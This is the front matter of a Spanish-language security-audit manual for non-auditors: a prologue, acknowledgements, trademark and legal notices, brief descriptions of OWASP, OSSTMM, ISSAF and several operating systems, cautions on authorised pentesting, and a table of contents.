PROLOGO Esta obra, es una compilación de procedimientos y normas que regulan el complejo mundo de la seguridad Informática. Puede usarse para encontrar soluciones prácticas, para ampliar la formación técnica, conocer las mejores prácticas y desde luego es una guía imprescindible para cualquier técnico o responsable de seguridad que quiera ampliar su formación técnica y crecer. Un recorrido ameno por la vía de la regulación y las buenas recetas que nos ofrece el autor. En un mundo cada vez más conectado, los riesgos se multiplican como el número de dispositivos y naturaleza de los mismos. Hace unos años vimos como los auditores de seguridad y los responsables informáticos se volvían locos con la emergencia de dispositivos móviles y la dificultad para minimizar los riesgos. Debilidad en el hardware o firmware que abría nuevos paradigmas para los técnicos y responsables de las empresas. En un mundo donde los dispositivos que conectamos a las redes se multiplican por infinito. Se abre una era de nuevos retos para todo el personal TIC. El Volumen y heterogeneidad de los datos, su dispersión y la volatilidad de los procesos. Las nuevas estrategias de seguridad deben implantarse al mismo ritmo que surgen las nuevas necesidades en los diferentes modelos de negocio. Son retos que emergen a gran velocidad y son solo las primeras gotas a la espera del gran diluvio para el que no estamos preparados. Los ciclos de vida son cada vez más cortos en este sector. Aparecen nuevas tecnologías con más funcionalidades, pero también como más retos para el departamento de prevención y defensa. Los próximos años serán apasionantes, pero desde luego debemos prepararnos para ser muy flexibles, estar actualizados y formar equipos de trabajo cada vez más coordinados con estrategias globales e integrales en el ámbito de la seguridad.

Creo que este libro puede ayudarte a tener una visión global sobre la seguridad integral como una cada vez más larga cadena de eslabones que deben ser seguros. Sobre el Autor. Si tuviera que destacar alguna de las mejores virtudes de Alejandro, es que es un gran contador de historias. Con una gran inquietud por aprender y con una gran facilidad para comunicar. Tres virtudes que te garantizan un divertido recorrido por este libro. Espero que lo disfrutes.

José Antonio García Cañizares

Agradecimientos A mi esposa de la que aprendí la importancia de la Constancia. A mis hijos por su continuo aliento, sus problemas y sus alegrías e ilusiones. A mi suegra, en realidad mi segunda madre. y, por último, aunque pueda parecer sorprendente: a mi hurón Turrón y sus travesuras

Derechos de Autor y Marcas Comerciales.

Propiedad intelectual, industrial y frames Todos los elementos que forman el sitio Web, así como su estructura, diseño, código fuente, así como los logos, marcas y demás signos distintivos que aparecen en la misma, son titularidad de INCIBE o de sus colaboradores y están protegidos por los correspondientes derechos de propiedad intelectual e industrial. Igualmente están protegidos por los correspondientes derechos de propiedad intelectual e industrial las imágenes y otros elementos gráficos contenidos en los portales. INCIBE prohíbe expresamente la realización de “framings” o la utilización por parte de terceros de cualesquiera otros mecanismos que alteren el diseño, configuración original o contenidos de nuestros portales. El uso de los contenidos deberá respetar su licenciamiento particular. De tal modo su uso, reproducción, distribución, comunicación pública, transformación o cualquier otra actividad similar o análoga, queda totalmente prohibida salvo que medie previa y expresa autorización de INCIBE. INCIBE autoriza la reproducción total o parcial de los textos y contenidos proporcionados por el portal, siempre que concurran todas y cada una de las siguientes condiciones: 1. Se mantenga la integridad de los contenidos, documentos o gráficos. 2. Se cite expresamente a INCIBE como fuente y origen de aquellos. 3. El propósito y la finalidad de tal uso sea compatible con los fines de la Web y/o la actividad de INCIBE. 4. No se pretenda un uso comercial, quedando expresamente prohibidas su distribución, comunicación pública, transformación o descompilación. Cualquier otro uso habrá de ser comunicado y autorizado por INCIBE, previa y expresamente. Respecto a las citas de productos y servicios de terceros, INCIBE reconoce a favor de sus titulares los correspondientes derechos de propiedad industrial e intelectual, no implicando su sola mención o aparición en la Web la existencia de derechos ni de responsabilidad alguna sobre los mismos, como tampoco respaldo, patrocinio o recomendación. INCIBE declara su respeto a los derechos de propiedad intelectual e industrial de terceros; por ello, si considera que nuestros portales pudieran estar violando sus derechos, rogamos se ponga en contacto con INCIBE.

SlideShare©® extraído de la Wikipedia©® SlideShare es un sitio web 2.0 de alojamiento de diapositivas que ofrece a los usuarios la posibilidad de subir y compartir en público o en privado presentaciones de diapositivas en PowerPoint (.ppt,.pps,.pptx,.ppsx,.pot y.potx), OpenOffice (.odp); presentaciones e infografías PDF (.pdf); documentos en Adobe PDF (.pdf), Microsoft Word (.doc,.docx y.rtf) y OpenOffice (.odt) y la mayoría de documentos de texto sin formato (.txt), e incluso algunos formatos de audio y vídeo. Originalmente el sitio web estaba destinado para los empleados del ámbito empresarial con la intención de que compartieran con más facilidad diapositivas entre ellos, pero luego el público objetivo se amplió para convertirse también en un entretenimiento. SlideShare fue lanzado el 4 de octubre de 2006.Este sitio web es considerado similar a YouTube, pero de uso orientado a las presentaciones de series de diapositivas. El 4 de mayo de 2012 fue adquirida por LinkedIn. En agosto de 2015 como muestra del compromiso de LinkedIn de apostar por una mayor integración con SlideShare se produjo un rebranding pasándose a llamar LinkedInSlideShare, con la intención de tratar de profesionalizar y evolucionar la web. Como muestra de esta nueva estrategia de profesionalización e integración de LinkedIn con SlideShare van a ir presentando una seria de aplicaciones y mejoras de su sitio web, que comprenderán desde la nueva herramienta Clipping hasta opciones para una mejor organización, formas de posicionamiento personal de los usuarios o búsqueda de expertos en categorías que interesen al propio usuario, así como otras herramientas personalizadas. Según la compañía tiene 70 millones de usuarios mensuales activos y un total de aproximado de 400 mil presentaciones añadidas cada mes. El contenido en el sitio web casi se ha doblado desde la unión con LinkedIn, pasando de los 10 millones en 2013 a 18 millones actualmente.

1. Aviso legal y su aceptación El presente aviso legal (en adelante, "Aviso Legal") regula el uso del servicio de portal de Internet "www.iso27000.es" (en adelante, el "Portal") que sus legítimos titulares ponen a disposición de los usuarios de Internet. La utilización del Portal atribuye la condición de usuario del Portal (en adelante, el "Usuario") e implica la aceptación plena y sin reservas de todas y cada una de las disposiciones incluidas en este Aviso Legal en la versión publicada en el Portal en el momento en que el Usuario acceda al mismo. En consecuencia, el Usuario debe leer atentamente el Aviso Legal en cada una de las ocasiones en que se proponga utilizar el Portal, ya que éste puede sufrir modificaciones. 2. Objeto y Modificación de condiciones El Portal pone a disposición del Usuario la posibilidad de navegar, accediendo a sus contenidos y servicios siempre que lo haga de acuerdo con lo previsto en el presente Aviso Legal. En cualquier caso, el Portal se reserva el derecho de, en cualquier momento y sin necesidad de previo aviso, modificar o eliminar el contenido, estructura, diseño, servicios y condiciones de acceso y/o uso de este sitio, siempre que lo estime oportuno. 3. Principios Generales - Responsabilidad del Usuario El Usuario se obliga a utilizar los servicios y contenidos que le proporciona el Portal conforme a la legislación vigente y a los principios de buena fe y usos generalmente aceptados y a no contravenir con su actuación a través del Web el orden público. Por tanto, queda prohibido todo uso con fines ilícitos o que perjudiquen o impidan, puedan dañar y/o sobrecargar, de cualquier forma, la utilización y normal funcionamiento del Portal, o bien, que directa o indirectamente atenten contra el mismo o contra cualquier tercero. El Usuario no transmitirá a través del servicio nada que atente contra los valores y la dignidad de las personas, de acuerdo con las normas nacionales e internacionales de protección de los derechos humanos. Asimismo, queda prohibida la reproducción, distribución, transmisión, adaptación o modificación, por cualquier medio y en cualquier forma, de los contenidos del Portal (textos, diseños, gráficos, informaciones, bases de datos, archivos de sonido y/o imagen, logos,) y demás elementos de este sitio, salvo autorización previa de sus legítimos titulares o cuando así resulte permitido por la ley. Se prohíbe asimismo respecto de los contenidos antes detallados, cualquier utilización comercial o publicitaria, distinta de la estrictamente permitida, en su caso, y la vulneración, en general, de cualquier derecho derivado de los mismos.

4. Condiciones que deberán cumplir los usuarios que quieran establecer un hiperenlace entre su página web y este Portal No se admite la reproducción de páginas del Portal mediante hiperenlace desde otro portal o página web, permitiéndose exclusivamente el acceso a dicho Portal. En ningún caso se podrá dar a entender que el Portal autoriza el hiperenlace o que ha supervisado o asumido de cualquier forma los servicios o contenidos ofrecidos por la web desde la que se produce el hiperenlace. No se podrán realizar manifestaciones o referencias falsas, incorrectas o inexactas sobre las páginas y servicios del Portal. La página desde donde se establece el hiperenlace no podrá tener ningún distintivo que haga referencia al Portal, exceptuando los signos integrados en el propio hiperenlace. Se prohíbe explícitamente la creación de cualquier tipo de “browser” o “border environment” sobre las páginas del Portal. No se podrán incluir contenidos contrarios a los derechos de terceros, ni contrarios a la moral y las buenas costumbres aceptadas, ni contenidos o informaciones ilícitas, en la página web desde la que se establezca el hiperenlace. La existencia de un hiperenlace entre una página web y este Portal no implica la existencia de relaciones entre el Portal y el propietario de esa página, ni la aceptación y aprobación de sus contenidos y servicios. 5. Uso de “cookies” Cuando el Usuario navega a través del Portal, puede recibir en su ordenador “cookies” enviadas desde el servidor del Portal o desde el servidor de una tercera empresa contratada para la prestación del servicio de medición de audiencias. Si el Usuario desea conocer el servidor desde el que se han enviado estas “cookies”, debe consultar las instrucciones de uso de su navegador. Si el Usuario admite la recepción de “cookies”, debe saber que éstas no proporcionan ningún dato de carácter personal suyo y que la única finalidad es permitir que el servidor pueda reconocer el navegador utilizado por el Usuario con objeto de facilitar la navegación, además de conocer el número de usuarios únicos que acceden al Portal. El Usuario puede configurar su navegador para que éste le avise a través de la pantalla del ordenador de la recepción de “cookies”. Asimismo, puede impedir la instalación de “cookies” en su ordenador. Para ello, debe consultar las instrucciones de uso de su navegador. 6. Exclusión de garantías y responsabilidades El Portal no se hace responsable directa ni indirecta o subsidiariamente de ningún daño o perjuicio sufrido por el Usuario derivado del acceso a dicho Portal o del uso de informaciones o aplicaciones en él contenidas. Se excluye la responsabilidad por los daños y perjuicios de toda naturaleza que puedan deberse a las informaciones contenidas en páginas web a las que este Portal pueda remitir a través de hiperenlaces. La finalidad de los hiperenlaces que aparecen en el Portal es puramente informativa, no siendo este responsable en

ningún caso del resultado que el Usuario pretenda obtener mediante el acceso a los mismos. Por consiguiente, el Portal no responderá por: a) La disponibilidad, accesibilidad y funcionamiento o continuidad de los sitios enlazados. b) La calidad, licitud, fiabilidad, utilidad, veracidad, vigencia, exhaustividad y/o autenticidad del contenido existente en los sitios enlazados. c) Del mantenimiento, prestación o transmisión de los contenidos existentes en los sitios enlazados. d) El Portal no tiene conocimiento efectivo de que la actividad o la información a la que remiten o recomiendan es ilícita o de que lesiona bienes o derechos de un tercero susceptibles de indemnización. En caso de tener conocimiento se actuará con la diligencia debida para suprimir o inutilizar el enlace correspondiente, tal y como establece la LSSICE. El Portal no será responsable de los daños y perjuicios de toda naturaleza que puedan deberse a la existencia de virus en el sistema informático, documentos electrónicos o ficheros del Usuario o por la presencia de virus en los servicios prestados por terceros a través del Portal. 7. Disputas ante los Tribunales Esta licencia de uso se rige por las leyes españolas independientemente del entorno legal del usuario. Cualquier disputa que pueda surgir en la interpretación de este acuerdo se resolverá en los tribunales españoles.

Advisera©® es una empresa de Consultoría y Servicios relacionados con la normativa internacional regulada por la ISO y sus organizaciones afines, que entre otras cosas proporciona Formación mediante Webinars (Seminarios Online) y Herramientas On-Line y Plantillas de Documentos compatibles con las herramientas de Microsoft en particular WORD©® y Excel, ©® además de herramientas On-Line que tratan de forma especificas determinados requerimientos de normas concretas. Todo el material que se refleja en este libro forma parte de los conjuntos denominados Kits de Descarga Gratuita o de Evaluación. Las imágenes tomadas de la Web mediante captura de pantalla reproducen en su momento los contenidos que de forma orientativa se ofrecen al lector de esta obra, para una mejor compresión. En caso de estar interesado en los materiales deberán contactar con Advisera mediante su Web para obtener dichos materiales y para acceder a los Servicios Profesionales de Formación y Consultoría que la misma ofrece, el autor de este libro no tiene ningún vínculo comercial o profesional con Advisera. El exponer aquí su material y sus servicios se hace con la única finalidad de brindar orientación sobre empresas que le puede ayudar a la creación o mejora de su departamento de Auditoria Interna.

Open Web Application Security Project

OWASP (acrónimo de: Open Web Application Security Project) En inglés ‘Proyecto abierto de seguridad de aplicaciones web’) es un proyecto de código abierto dedicado a determinar y combatir las causas que hacen que el software sea inseguro. La Fundación OWASP es un organismo sin ánimo de lucro que apoya y gestiona los proyectos e infraestructura de OWASP. La comunidad OWASP está formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías que se liberan y pueden ser usadas gratuitamente por cualquiera. OWASP es un nuevo tipo de entidad en el mercado de seguridad informática. Estar libre de presiones corporativas facilita que OWASP proporcione información imparcial, práctica y redituable sobre seguridad de aplicaciones informáticas. OWASP no está afiliado a ninguna compañía tecnológica, si bien apoya el uso informado de tecnologías de seguridad. OWASP recomienda enfocar la seguridad de aplicaciones informáticas considerando todas sus dimensiones: personas, procesos y tecnologías. Los documentos con más éxito de OWASP incluyen la Guía OWASP y el ampliamente adoptado documento de autoevaluación OWASP Top 10. Las herramientas OWASP más usadas incluyen el entorno de formación WebGoat, la herramienta de pruebas de penetración WebScarab y las utilidades de seguridad para entornos .NET OWASP DotNet. OWASP cuenta con unos 50 capítulos locales por todo el mundo y miles de participantes en las listas de correo del proyecto. OWASP ha organizado la serie de conferencias AppSec para mejorar la construcción de la comunidad de seguridad de aplicaciones web.

Open Source Security Testing Methodology es nombre registrado por ISECOM. En enero de 2001, ISECOM (el Instituto de Seguridad y Metodologías Abiertas) comenzó con el lanzamiento del OSSTMM, el Manual de Metodología de Pruebas de Seguridad de Código Abierto. Fue una medida para mejorar la forma en que se probaba e implementaba la seguridad. Muchos investigadores de diversos campos contribuyeron porque vieron la necesidad de un método abierto, uno que estuviera ligado a la verdad y no a ganancias comerciales o agendas políticas. Esto también es válido para todas las áreas de investigación cubiertas por los proyectos de ISECOM. Y no es suficiente encontrar los hechos, tenemos que encontrar formas de aplicarlo al mundo en el que vivimos. Por lo tanto, debe ser una filosofía de seguridad y debe tener sentido. Y eso es lo que ISECOM hace todos los días para millones de personas en todo el mundo. Desde los gobiernos hasta las empresas, las escuelas y solo las personas normales, ayudamos a dar sentido a la seguridad. ISECOM es una comunidad abierta y una organización sin fines de lucro registrada oficialmente en Cataluña, España. ISECOM tiene oficinas en Barcelona, España y en Nueva York, EE. UU. El financiamiento para ISECOM se proporciona a través de asociaciones, suscripciones, certificaciones, licencias, seminarios y dotaciones privadas de investigación. La versión traducida corresponde a la versión 3 -0 y fue publicada en el año 2010 existe una versión 4.0 que aún está en discusión y por tanto no es oficial.

INFORMATION SYSTEMS SECURITY ASSESSMENT FRAMEWORK (ISSAF)

El Marco de Evaluación de Seguridad de Sistemas de Información (ISSAF) busca integrar las siguientes herramientas de gestión y listas de control interno: Evaluar las políticas y procesos de seguridad de la información de la organización para informar sobre su cumplimiento con los estándares de la industria de TI, y las leyes aplicables y los requisitos reglamentarios  Identificar y evaluar las dependencias comerciales en servicios de infraestructura proporcionados por TI  Llevar a cabo evaluaciones de vulnerabilidad y pruebas de penetración para resaltar las vulnerabilidades del sistema que podrían generar riesgos potenciales para los activos de información  Especifique modelos de evaluación por dominios de seguridad para: o Encuentra configuraciones erróneas y rectifícalas o Identificar los riesgos relacionados con las tecnologías y abordarlos o Identificar los riesgos dentro de las personas o los procesos comerciales y abordarlos o Fortalecimiento de procesos y tecnologías existentes o Proporcionar mejores prácticas y procedimientos para respaldar las iniciativas de continuidad del negocio Beneficios comerciales de ISSAF  ISSAF pretende informar exhaustivamente sobre la implementación de los controles existentes para soportar IEC / ISO 27001: 2005 (BS7799), Sarbanes Oxley SOX404, CoBIT, SAS70 y COSO, agregando valor a los aspectos operativos de los programas de transformación empresarial relacionados con TI.  Su principal valor se derivará del hecho de que proporciona un recurso probado para los profesionales de la seguridad, liberándolos así de una inversión acorde en los recursos comerciales o una amplia investigación interna para abordar sus necesidades de seguridad de la información.  Está diseñado desde cero para convertirse en un conjunto integral de conocimiento para organizaciones que buscan independencia y neutralidad en sus esfuerzos de evaluación de seguridad.  Es el primer marco para proporcionar validación para las estrategias de seguridad de abajo hacia arriba, como las pruebas de penetración, así como los enfoques de arriba hacia abajo, como la estandarización de una lista de verificación de auditoría para las políticas de información.

Historia y descripción de ISSAF ISSAF está desarrollando constantemente un marco que puede modelar los requisitos de control interno para la seguridad de la información. Al definir las pruebas junto con los dominios que se probarán, busca unificar las políticas de gestión con las operaciones técnicas para garantizar que haya una alineación completa entre todos los niveles intermedios.

ISSAF cubre las principales plataformas de tecnología de la información, la mayoría de los procesos operativos relacionados con TI de alto nivel, y está destinado a ser aplicable a los principales verticales de la industria, como la banca, la fabricación y los servicios. Esta ubicuidad de ISSAF tiene como objetivo facilitar su adopción como el marco de evaluación de seguridad preferido por los departamentos de TI de todo el mundo. En el proceso de esta adopción, OISSG busca posicionarlo como la base para acreditar los sistemas de seguridad de la información de una organización a nivel de especificaciones técnicas que han sido probadas y probadas por los principales profesionales de seguridad de todo el mundo. ISSAF versión 0.2 se lanzará a la industria sobre la base de pruebas exhaustivas por parte de un número de especialistas en seguridad de la información que trabajan en todo el mundo, en diferentes plataformas para evaluaciones de seguridad en organizaciones en diferentes mercados verticales. Está siendo lanzado para su uso por organizaciones y profesionales de aseguramiento, sujeto a los términos apropiados de licencia abierta.

Marcas de Productos Hardware y Software registradas que aparecen en esta obra.

Unix (registrado oficialmente como UNIX®) Es un sistema operativo portable, multitarea y multiusuario; desarrollado, en principio, en 1969, por un grupo de empleados de los laboratorios Bell de AT&T, entre los que figuran Dennis Ritchie, Ken Thompson y Douglas McIlroy. El sistema, junto con todos los derechos fueron vendidos por AT&T a Novell, Inc. Esta vendió posteriormente el software a Santa Cruz Operation en 1995, y esta, a su vez, lo revendió a Caldera Software en 2001, empresa que después se convirtió en el grupo SCO. Sin embargo, Novell siempre argumentó que solo vendió los derechos de uso del software, pero que retuvo el copyright sobre "UNIX®". En 2010, y tras una larga batalla legal, ésta ha pasado nuevamente a ser propiedad de Novell.3 Solo los sistemas totalmente compatibles y que se encuentran certificados por la especificación Single UNIX Specification pueden ser denominados "UNIX®"

(otros reciben la denominación «similar a un sistema Unix» o «similar a Unix»). En ocasiones, suele usarse el término "Unix tradicional" para referirse a Unix o a un sistema operativo que cuenta con las características de UNIX Versión 7 o UNIX System V o unix versión 6. 



  



AT&T: La familia que tuvo su origen en el UNIX de AT&T. Considerada la familia UNIX "pura" y original. Sus sistemas operativos más significativos son UNIX System III y UNIX System V. BSD: Familia originada por el licenciamiento de UNIX a Berkely. BSD se reescribió para no incorporar propiedad intelectual originaria de AT&T en la versión 4. La primera implementación de los protocolos TCP/IP que dieron origen a Internet son la pila (stack) TCP/IP BSD. AIX: Esta familia surge por el licenciamiento de UNIX System III a IBM. Xenix: Familia derivada de la adquisición de los derechos originales de AT&T primero por parte de Microsoft y de esta los vendió a SCO. GNU: En 1983, Richard Stallman anunció el Proyecto GNU, un ambicioso esfuerzo para crear un sistema similar a Unix, que pudiese ser distribuido libremente. El software desarrollado por este proyecto -por ejemplo, GNU Emacs y GCC - también han sido parte fundamental de otros sistemas UNIX. Linux: En 1991, cuando Linus Torvalds empezó a proponer el núcleo Linux y a reunir colaboradores, las herramientas GNU eran la elección perfecta. Al combinarse ambos elementos, conformaron la base del sistema operativo (basado en POSIX), que hoy se conoce como GNU/Linux. Las distribuciones basadas en el núcleo, el software GNU y otros agregados entre las que se pueden mencionar a Slackware Linux, Red Hat Linux y Debian GNU/Linuxse han hecho populares tanto entre los aficionados a la computación como en el mundo empresarial. Obsérvese que Linux tiene un origen independiente, por lo que se considera un 'clónico' de UNIX y no un UNIX en el sentido histórico.

Las interrelaciones entre estas familias son las siguientes, aproximadamente en orden cronológico:      



La familia BSD surge del licenciamiento del UNIX original de AT&T. Xenix también surge por licenciamiento del UNIX original de AT&T, aunque aún no era propiedad de SCO. AIX surge por licenciamiento de UNIX System III, pero también incorpora propiedad intelectual de BSD. La familia original AT&T incorpora ilegalmente propiedad intelectual de BSD en UNIX System III r3. La familia AIX vuelve a incorporar propiedad intelectual de la familia AT&T, esta vez procedente de UNIX System V. Linux incorpora propiedad intelectual de BSD, gracias a que éste también se libera con una licencia de código abierto denominada Opensource BSD. Según SCO Group, Linux incorpora propiedad intelectual procedente de AIX gracias a la colaboración de IBM en la versión 2.4. Aún no está demostrado y hay un proceso judicial: Disputas de SCO sobre Linux.

A lo largo de la historia ha surgido una gran multitud de implementaciones comerciales de UNIX. Sin embargo, un conjunto reducido de productos ha consolidado el mercado y prevalece gracias a un continuo esfuerzo de desarrollo por parte de sus fabricantes. Los más importantes son: Solaris de Sun Microsystems. Uno de los sistemas operativos Unix más difundidos en el entorno empresarial y conocido por su gran estabilidad. Parte del código fuente de Solaris se ha liberado con licencia de fuentes abiertas (Open Solaris). AIX de IBM. El UNIX "propietario" de IBM cumplió 20 años de vida en el 2006 y continúa en pleno desarrollo, con una perceptible herencia del mainframe en campos como la virtualización o la RAS de los servicios, heredada de sus "hermanos mayores". HP-UX de Hewlett-Packard. Este sistema operativo también nació ligado a las computadoras departamentales de este fabricante. También es un sistema operativo estable que continua en desarrollo. macOS. Se trata de un UNIX completo, aprobado por The Open Group. Su diferencia marcada es que posee una interfaz gráfica propietaria llamada Aqua, y es principalmente desarrollada en Objective-C en lugar de C o C++. Existen sistemas operativos basados en el núcleo Linux, y el conjunto de aplicaciones GNU (también denominado GNU/Linux), entre las más utilizadas encontramos: Red Hat Enterprise Linux. Cuyo fabricante Red Hat es conocido por su amplia gama de soluciones y aportes al desarrollo de software libre. Apoya el proyecto Fedora del cual se beneficia y de ella se derivan distribuciones compatibles como Oracle Enterprise Linux y CentOS, también distribuciones como Mandriva Linux, se basó en una de sus primeras versiones. SUSE Linux de Novell. Originalmente liberado por la compañía alemana SuSE. Es popular por sus herramientas de administración centralizada. De manera análoga a RedHat con Fedora, apoya el proyecto openSUSE. Debian GNU/Linux. Con una de las comunidades más grandes y antiguas del movimiento de software libre, es base para distribuciones como Xandros, Mepis, Linspire y Ubuntu. También son populares los sistemas operativos descendientes del 4.4BSD: FreeBSD. Quizá el sistema operativo más popular de la familia, de propósito múltiple. Con una implementación SMP muy elaborada, es el sistema operativo utilizado por los servidores de Yahoo. Y base de muchos sistemas operativos entre ellos Mac OS X de Apple. OpenBSD. Ampliamente reconocida por su seguridad proactiva y auditoría permanente del código fuente. Es utilizada en ambientes donde la seguridad

prima, sobre todo, es usual encontrarlo instalado en servidores que actúan como Firewall, VPN o Proxy. NetBSD. Se le conoce por su portabilidad, a octubre de 2008: 53 arquitecturas soportadas. La NASA lo ha utilizado para la investigación en redes TCP/IP satelitales, al igual que para reciclar computadoras viejas con software moderno. Las siguientes implementaciones de UNIX tienen importancia desde el punto de vista histórico, no obstante, actualmente están en desuso: Tru64 UNIX actualmente de Hewlett-Packard (antes de Compaq y originalmente de Digital Equipment Corporation). UnixWare y SCO OpenServer anteriormente de Santa Cruz Operation y SCO Group, ahora de Xinuos (UnXis). UX/4800 de NEC. IRIX de Silicon Graphics Inc... Novell Inc. Netware. Wikipedia©®

©®

extraído

de

la

NetWare es un sistema operativo de red informática desarrollado por Novell, Inc. Inicialmente utilizó la multitarea cooperativa para ejecutar diversos servicios en una computadora personal, utilizando el protocolo de red IPX. El producto original de NetWare en 1983 admitió clientes que ejecutaban CP / M y MS-DOS, ejecutó una topología de red de estrella patentada y se basó en un servidor de archivos creado por Novell utilizando el procesador Motorola 68000, pero la empresa pronto abandonó la construcción. su propio hardware, y NetWare se convirtió en independiente del hardware, ejecutándose en cualquier sistema IBM compatible con PC basado en Intel, y en una amplia gama de tarjetas de red. Desde el principio, NetWare implementó una serie de características inspiradas en sistemas de mainframe y miniordenadores que no estaban disponibles en sus competidores. A principios de la década de 1990, Novell introdujo productos de red por separado más baratos, sin relación con el clásico NetWare. Estos fueron NetWare Lite 1.0 (NWL), y más tarde Personal NetWare 1.0 (PNW) en 1993. En 1993, la línea principal de productos dio un giro dramático cuando la Versión 4 introdujo NetWare Directory Services (NDS), un servicio de directorio global similar al Active Directory que Microsoft lanzaría siete años más tarde. Esto, junto con un nuevo sistema de correo electrónico, GroupWise, paquete de configuración de aplicaciones, ZENworks y el producto de seguridad BorderManager, se enfocaron en las necesidades de las grandes empresas.

En 2000, sin embargo, Microsoft estaba tomando más de la base de clientes de Novell y Novell cada vez más buscaba un futuro basado en un kernel de Linux. El sucesor de NetWare, Open Enterprise Server (OES), lanzado en marzo de 2005, ofrecía todos los servicios previamente alojados por NetWare v6.5, pero en un SUSE Linux Enterprise Server; el núcleo NetWare se mantuvo como opción hasta OES 11 a finales de 2011. El último lanzamiento de actualización fue la versión 6.5SP8 de mayo de 2009; Netware ya no figura en la lista de productos de Novell.

extraído de la Wikipedia©®. El sistema AS/400 es un equipo de IBM de gama media y alta, para todo tipo de empresas y grandes departamentos. Se trata de un sistema multiusuario, con una interfaz controlada mediante menús y comandos CL (Control Language) intuitivos que utiliza terminales y un sistema operativo basado en objetos y bibliotecas, denominado OS/400. Un punto fuerte del OS/400 es su integración con la base de datos DB2/400, siendo los objetos del sistema miembros de la citada base de datos. Ésta también da soporte para los datos de las aplicaciones, dando como resultado un sistema integrado potente y estable. Actualmente, con la denominación IBM i, anteriormente conocida como System i e iSeries, soporta otros sistemas operativos tales como GNU/Linux, AIX o incluso Windows en una placa Intel integrada, soportando también de forma nativa múltiples aplicaciones antes reservadas a Windows. La máquina se basó originalmente en una CPU CISC de IBM, pero en 1996 se migró a una familia de CPU RISC basada en microprocesadores PowerPC de 64 bits. Hasta marzo de 2010, los últimos modelos, que bajo la denominación IBM Power Systems unificaron las plataformas System i y System p de IBM, se basan en el procesador POWER7. La capacidad de supervivencia de la máquina es debida a su capa de MI o Machine Interface, que aísla el hardware y permite, mediante el uso de APIs, que el sistema operativo y los programas de aplicaciones se aprovechen de los avances en hardware sin tener que recompilarlo y de su adaptación al entorno empresarial crítico, en donde la estabilidad y fiabilidad del sistema son fundamentales. Soporta lenguajes de programación de 3ª y 4ª generación. Se diseñó como sustituto del IBM System/38 y partiendo de su arquitectura, cuyos orígenes se remontan a los años 1978 y 1979.

Windows Server©® y Windows Desktops W7/W8/W10 son marcas registradas por Microsoft Corpartion.

ACLARACIONES IMPORTANTES: Dado que una Auditoria profesional en general y en particular una de Seguridad comporta riesgos, que en muchos casos no son menores, es importante tener presente lo siguiente para comprender mejor la finalidad y el alcance de este libro. Primera. – OWASP / OSSMMT3 / ISSAF son metodologías conocidas como Pentesting y por tanto son metodologías agresivas, cuyo objetivo final es conocer y valorar que: daños y perjuicios lógicos y económicos, así como jurídicos se pueden originar como consecuencia del estado actual de todos y cada uno de los elementos, que forman parte del sistema de seguridad de la empresa. Segunda. – Estas metodologías se proponen dado que: la normativa vinculada con todas y cada una de las facetas de la Seguridad es muy extensa y heterogénea, sé establecen que objetivos deben ser alcanzados, pero no precisan que metodologías o marcos de trabajos, son los adecuados para valorar la consistencia de dicha Seguridad. Que debe ser probada de forma empírica, por personal debidamente cualificado y acreditado para ello, se debe haber definido un conjunto medidas previas, que garanticen que los daños ocasionados con motivos de las pruebas son daños controlados con alcance limitado, de que han de ser de carácter reversible tanto a nivel interno como externo, si hay terceros implicados. Por ello es imprescindible la implicación activa del área jurídica, para definir todos los documentos precisos y necesarios que adviertan a los participantes de los peligros que ello implica y que han ser de aceptados. Tercera. - Que la normativa se debe seguir de manera estricta, por parte del Auditor, para lograr la certificación, buscada y que es responsabilidad del cliente verificar que tanto los productos como los servicios, así como los productos/servicios que se ofrecen conjuntamente y de forma indivisible pasan los controles necesarios para lograr la certificación. Ello implica que la empresa Auditora / Certificadora, deberá proporcionar al Cliente información: clara, suficiente e inequívoca de cómo se verificará el cumplimiento de los controles seleccionados, que verifican dichos controles, como se aprueban o desaprueban dichos los controles. Cuarta. – No conformidades (Mayores y Menores) Tratamiento. Dado que pueden parecer el proyecto se detendrá en el caso de aparición de no conformidades Mayores y no se reanudará en tanto en cuanto el origen de la misma no sea subsanado / erradicado. En cuanto a las No conformidades menores se deberá disponer de una serie de proyectos que comprenden una serie de acciones correctoras, que deberán estar tabuladas en cuanto a: tiempo, costes y responsabilidades funcionales, jurídicas y económicas. Todo ello debidamente documentado y aceptado por cada una de las partes implicadas.

Estas cuatro premisas básicas deben ser tenidas presentes a lo largo de toda la obra, pues su desarrollo ayuda, en una gran medida a que cualquier tipo de Auditoria alcance su objetivo a tiempo, en coste y con una mejor compresión de los beneficios de la certificación como elemento diferenciador frente a la competencia.

Manual de Auditoria para no Auditores

Contenido Capítulo 1 ............................................................................................................... 4 ¿Por qué y Para qué debo certificar mi empresa? ............................................ 4 Capítulo 2 ............................................................................................................... 8 Por dónde empezar y como ............................................................................... 8 Capítulo 3 ............................................................................................................. 19 Identificando activos y su clasificación. ISO 55001 ........................................ 19 Capítulo 4 ............................................................................................................. 32 La Gestión del Riesgo y la Continuidad del Negocio. ISO 22301 ................. 32 Características del análisis de impacto ............................................................................... 41 Consideraciones durante el desarrollo del BIA ................................................................... 42 Ventajas de la realización de un análisis de impacto .......................................................... 42

Capitulo 5 Auditorias: ...........................................................................................52 No es tan fiero el Lobo como lo pintan. ...........................................................52 Vulnerabilidades y Ataques Informáticos...................................................................... 56 Auditoria de Redes Lógicas ................................................................................................. 59 Auditoria Red Física ............................................................................................................. 61 Auditorias de Sistemas Operativos Servidor / Cliente. ....................................................... 69

Capítulo 6 ............................................................................................................. 72 Las Bases de Datos y su Auditoria: Motor SGDBR y Desarrollo. ................. 72 Donde descansa la mayoría de la información de nuestra empresa. ................................. 72 Auditoria de Base de Datos y Desarrollo............................................................................. 72

Capítulo 7 ............................................................................................................. 94 Las conclusiones y la traducción a un término universal: el Coste. ............... 94 Capítulo 8 ...........................................................................................................104 La Nomenclatura y Estructura de las Normas...............................................104 Normas ISO – ISO / IEC – ISO – UNE. ................................................................................. 104

Capítulo 9 ...........................................................................................................106 Políticas Organización y Seguridad de la Información. ................................106 Dominio 5 & 6.................................................................................................................... 106

Capítulo 10 .........................................................................................................107 Recursos Humanos. .......................................................................................107 Dominio 7 .......................................................................................................................... 107

Capítulo 11 .........................................................................................................108

Página 1 de 430

Manual de Auditoria para no Auditores Gestión de Activos. ISO 55001 ......................................................................108 Dominio 8 .......................................................................................................................... 108

Capítulo12 ..........................................................................................................109 Control de Accesos Físicos y Lógicos ...........................................................109 Dominio 9 .......................................................................................................................... 109

